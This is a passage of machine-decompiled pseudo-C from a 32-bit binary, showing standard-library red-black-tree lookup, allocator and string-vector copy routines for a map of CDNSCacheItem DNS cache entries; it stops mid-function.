0x8056352 - 0x805635d int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value(int32_t * a1) { // 0x8056352 return (int32_t)a1 + 16; } // Address range: 0x805635e - 0x8056365 int32_t std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(int32_t a1) { // 0x805635e int32_t result; return result; } // Address range: 0x8056366 - 0x805638b int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(int32_t * a1) { // 0x8056366 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value(a1); int32_t v1; return std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v1); } // Address range: 0x805638c - 0x8056397 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value_122(int32_t a1) { // 0x805638c g95 = a1; return a1 + 16; } // Address range: 0x8056398 - 0x80563bd int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(int32_t a1) { // 0x8056398 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value_122(a1); int32_t v1; return std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v1); } // Address range: 0x80563be - 0x80563d9 int32_t _ZStltIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_ES8_(int32_t * a1, int32_t a2) { return std__string__compare(a1, &a2) < 0; } // Address range: 0x80563da - 0x80563f5 int32_t std__less_lt_std__string_gt___operator_lb__rb_(int32_t * a1, int32_t * a2) { // 0x80563da int32_t v1; return (uint32_t)_ZStltIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_ES8_(a2, v1) % 256; } // Address range: 0x80563f6 - 0x8056509 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3) { int32_t v1 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(a2); // 0x8056402 int32_t * v2 = (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x8056413_4 int32_t v3; // 0x80564af int32_t ** v4; int32_t ** v5; int32_t ** v6; int32_t * v7; if (v1 != 0) { // branch -> 0x8056420 lab_0x5312110: while (true) { int32_t v8 = v1; // branch -> 0x8056420 while (true) { int32_t * v9 = (int32_t *)v8; // 0x0113 int32_t v10 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(v9); // 0x8056426 if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v10) == 1) { int32_t v11 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(v9); // 0x8056469 if (v11 == 0) { // break -> 0x805647a break; } v8 = v11; // continue -> 0x8056420 continue; } else { int32_t v12 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(v9); // 0x8056455 if (v12 == 0) { v2 = v9; // break (via goto) -> 0x805647a goto lab_0x53125d0; } v1 = v12; v2 = v9; // continue (via goto) -> 0x8056420 goto lab_0x5312110; } // 0x805647a std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v4, v2); std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a2); v3 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5); if (v3 != 0) { // 0x80564e1 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2); v7 = (int32_t *)v6; // branch -> 0x8056505 // 0x8056505 *a1 = v7; return (int32_t)a1; } // 0x80564bb std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v4); if (std__less_lt_std__string_gt___operator_lb__rb_(a2, a3) != 0) { // 0x80564e1 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2); v7 = (int32_t *)v6; // branch -> 0x8056505 // 0x8056505 *a1 = v7; return (int32_t)a1; } v7 = (int32_t *)v4; // 0x8056505 *a1 = v7; return (int32_t)a1; } // 0x805647a std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v4, v2); std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a2); v3 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5); if (v3 != 0) { // 0x80564e1 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2); // branch -> 0x8056505 // 0x8056505 *a1 = (int32_t *)v6; return (int32_t)a1; } // 0x80564bb std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v4); if (std__less_lt_std__string_gt___operator_lb__rb_(a2, a3) != 0) { // 0x80564e1 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2); // branch -> 0x8056505 // 0x8056505 *a1 = (int32_t *)v6; return (int32_t)a1; } // 0x8056505 *a1 = (int32_t *)v4; return (int32_t)a1; } } lab_0x53125d0: // 0x805647a std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v4, v2); std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a2); v3 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5); if (v3 != 0) { // 0x80564e1 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2); // branch -> 0x8056505 // 0x8056505 *a1 = (int32_t *)v6; return (int32_t)a1; } // 0x80564bb std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v4); if (std__less_lt_std__string_gt___operator_lb__rb_(a2, a3) != 0) { // 0x80564e1 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2); v7 = (int32_t *)v6; // branch -> 0x8056505 } else { v7 = (int32_t *)v4; } // 0x8056505 *a1 = v7; return (int32_t)a1; } // Address range: 0x805650c - 0x8056537 int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3) { int32_t v1 = g98; // 0x805650f g98 = (int32_t)a1; int32_t ** v2; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(v2, a2, a3); *(int32_t *)g98 = (int32_t)v2; int32_t result = g98; // 0x8056531 g98 = v1; return result; } // Address range: 0x805653a - 0x80565d3 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(a2); // 0x8056546 int32_t * v2 = (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x8056557_3 if (v1 == 0) { // 0x80565be std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, v2); return (int32_t)a1; } // branch -> 0x8056564 lab_0x53230e0: while (true) { int32_t v3 = v1; // branch -> 0x8056564 int32_t * v4; while (true) { int32_t * v5 = (int32_t *)v3; // 0x0111 int32_t v6 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(v5); // 0x805656a if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v6) == 1) { int32_t v7 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(v5); // 0x80565ad if (v7 == 0) { v4 = v2; // break -> 0x80565be break; } v3 = v7; // continue -> 0x8056564 continue; } else { int32_t v8 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(v5); // 0x8056599 if (v8 == 0) { v4 = v5; // break (via goto) -> 0x80565be goto lab_0x5322b90; } v1 = v8; v2 = v5; // continue (via goto) -> 0x8056564 goto lab_0x53230e0; } // 0x80565be std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, v4); return (int32_t)a1; } lab_0x5322b90: // 0x80565be std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, v4); return (int32_t)a1; } } // Address range: 0x80565d6 - 0x8056601 int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t ** a1, int32_t * a2, int32_t * a3) { int32_t v1 = g98; // 0x80565d9 g98 = (int32_t)a1; int32_t * v2; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(v2, a2, a3); *(int32_t *)g98 = (int32_t)v2; int32_t result = g98; // 0x80565fb g98 = v1; return result; } // Address range: 0x8056604 - 0x805660f int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(int32_t * a1) { // 0x8056604 return (int32_t)a1 + 16; } // Address range: 0x8056610 - 0x805661b int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___size(int32_t * a1) { // 0x8056610 return *(int32_t *)((int32_t)a1 + 20); } // Address range: 0x805661c - 0x8056625 int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___max_size(void) { // 0x805661c return 0x3fffffff; } // Address range: 0x8056626 - 0x8056765 int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_10 * a2) { __gnu_cxx____mt_alloc_base_lt_std__string_gt___max_size(); g95 = a2 > (struct struct_10 *)0x3fffffff != false; if (a2 > (struct struct_10 *)0x3fffffff != false) { // 0x805664d std____throw_bad_alloc(); // branch -> 0x8056652 } // 0x8056652 int32_t v1; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v2 = 4 * (int32_t)a2; // 0x8056662 int32_t * v3 = (int32_t *)v2; // 0x8056665_0 int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) { // 0x805667e int32_t * v4; result = _Znwj(v2, v2, (int32_t)v4); // branch -> 0x8056761 // 0x8056761 return result; } int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x80566a4 int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x80566b5 int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x80566c9_4 int32_t * v8 = *v7; // 0x80566e2 if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) { // 0x8056744 result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6); // branch -> 0x8056761 } else { int32_t * v9 = *v7; // 0x80566fb *v7 = (int32_t *)*v9; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9); int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x805673c result = v10; // branch -> 0x8056761 } // 0x8056761 return result; } // Address range: 0x8056766 - 0x8056781 int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(int32_t * a1, struct struct_10 * a2) { // 0x8056766 return __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2); } // Address range: 0x8056782 - 0x80567fb int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__124(struct struct_3 * a1, int32_t a2, int32_t a3) { // 0x8056782 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45(a1, a3); int32_t v1 = a2; // bp-24 int32_t v2 = std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(&a1->e0, (struct struct_10 *)&v1); // 0x80567a4 a1->e0 = v2; a1->e1 = a1->e0; int32_t result = (int32_t)a1; // 0x80567be *(int32_t *)(result + 8) = a1->e0 + 4 * a2; return result; } // Address range: 0x80567fc - 0x8056841 int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805680a g96 = v1; int32_t v2 = v1 / 4; // 0x805680e g95 = v2; if (v1 <= 3) { // 0x805683c return (int32_t)a3; } std__string__operator_eq__675(); int32_t * v3 = (int32_t *)((int32_t)a3 + 4); // 0x805682e_4 while (v2 > 1) { // 0x8056816 v2--; std__string__operator_eq__675(); v3 = (int32_t *)((int32_t)v3 + 4); // continue -> 0x8056816 } // 0x805683c return (int32_t)v3; } // Address range: 0x8056842 - 0x8056861 void std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8056842 std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_std__string_const__ptr__comma__std__string__ptr__gt_(a1, a2, a3); } // Address range: 0x8056862 - 0x80568cb int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x805687d int32_t * v4; __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x80568ce - 0x8056909 int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t ** a3, struct struct_3 * a4) { int32_t v1 = g101; // 0x80568d1 g101 = (int32_t)a1; int32_t * v2; std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x80568fe g101 = v1; return result; } // Address range: 0x805690a - 0x8056947 int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2) { // 0x805690a __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); int32_t * v1; int32_t result = (int32_t)v1; // 0x8056920 __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); int32_t * v2; std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(v1, (int32_t *)result, v2); return result; } // Address range: 0x8056948 - 0x805696d int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t ** a3) { // 0x8056948 return std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(a1, a2); } // Address range: 0x805696e - 0x80569a1 int32_t __gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x805697b int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x805698b int32_t v4 = *(int32_t *)v3; // 0x8056993 return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2; } // Address range: 0x80569a2 - 0x80569b7 int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1) { // 0x80569a2 *a1 = *a1 + 4; return (int32_t)a1; } // Address range: 0x80569b8 - 0x80569c1 int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1) { // 0x80569b8 return *a1; } // Address range: 0x80569c2 - 0x8056a1f int32_t std___Construct_lt_std__string_comma__std__string_gt_(int32_t * a1, int32_t * a2) { int32_t v1 = _ZnwjPv((int32_t *)4); // 0x80569d1 struct struct_3 * v2 = (struct struct_3 *)v1; // 0x80569d1_4 struct struct_3 * v3; // 0x8056a1e_21 if (v1 != 0) { int32_t v4 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v2->e0, a2); // 0x80569eb v3 = (struct struct_3 *)v4; // branch -> 0x8056a1a } else { v3 = v2; } // 0x8056a1a return (int32_t)v3; } // Address range: 0x8056b22 - 0x8056b39 int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__130(int32_t a1) { // 0x8056b22 __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__120(a1); return 0x8132c20; } // Address range: 0x8056b3a - 0x8056b57 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x8056b3a std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__130(result); return result; } // Address range: 0x8056d70 - 0x8056d79 int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___max_size(void) { // 0x8056d70 return 0x3fffffff; } // Address range: 0x8056d7a - 0x8056eb9 int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2) { // 0x8056d7a __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___max_size(); g95 = a2 > (int32_t *)0x3fffffff != false; if (a2 > (int32_t *)0x3fffffff != false) { // 0x8056da1 std____throw_bad_alloc(); // branch -> 0x8056da6 } // 0x8056da6 int32_t v1; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v2 = 4 * (int32_t)a2; // 0x8056db6 int32_t * v3 = (int32_t *)v2; // 0x8056db9_0 int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) { // 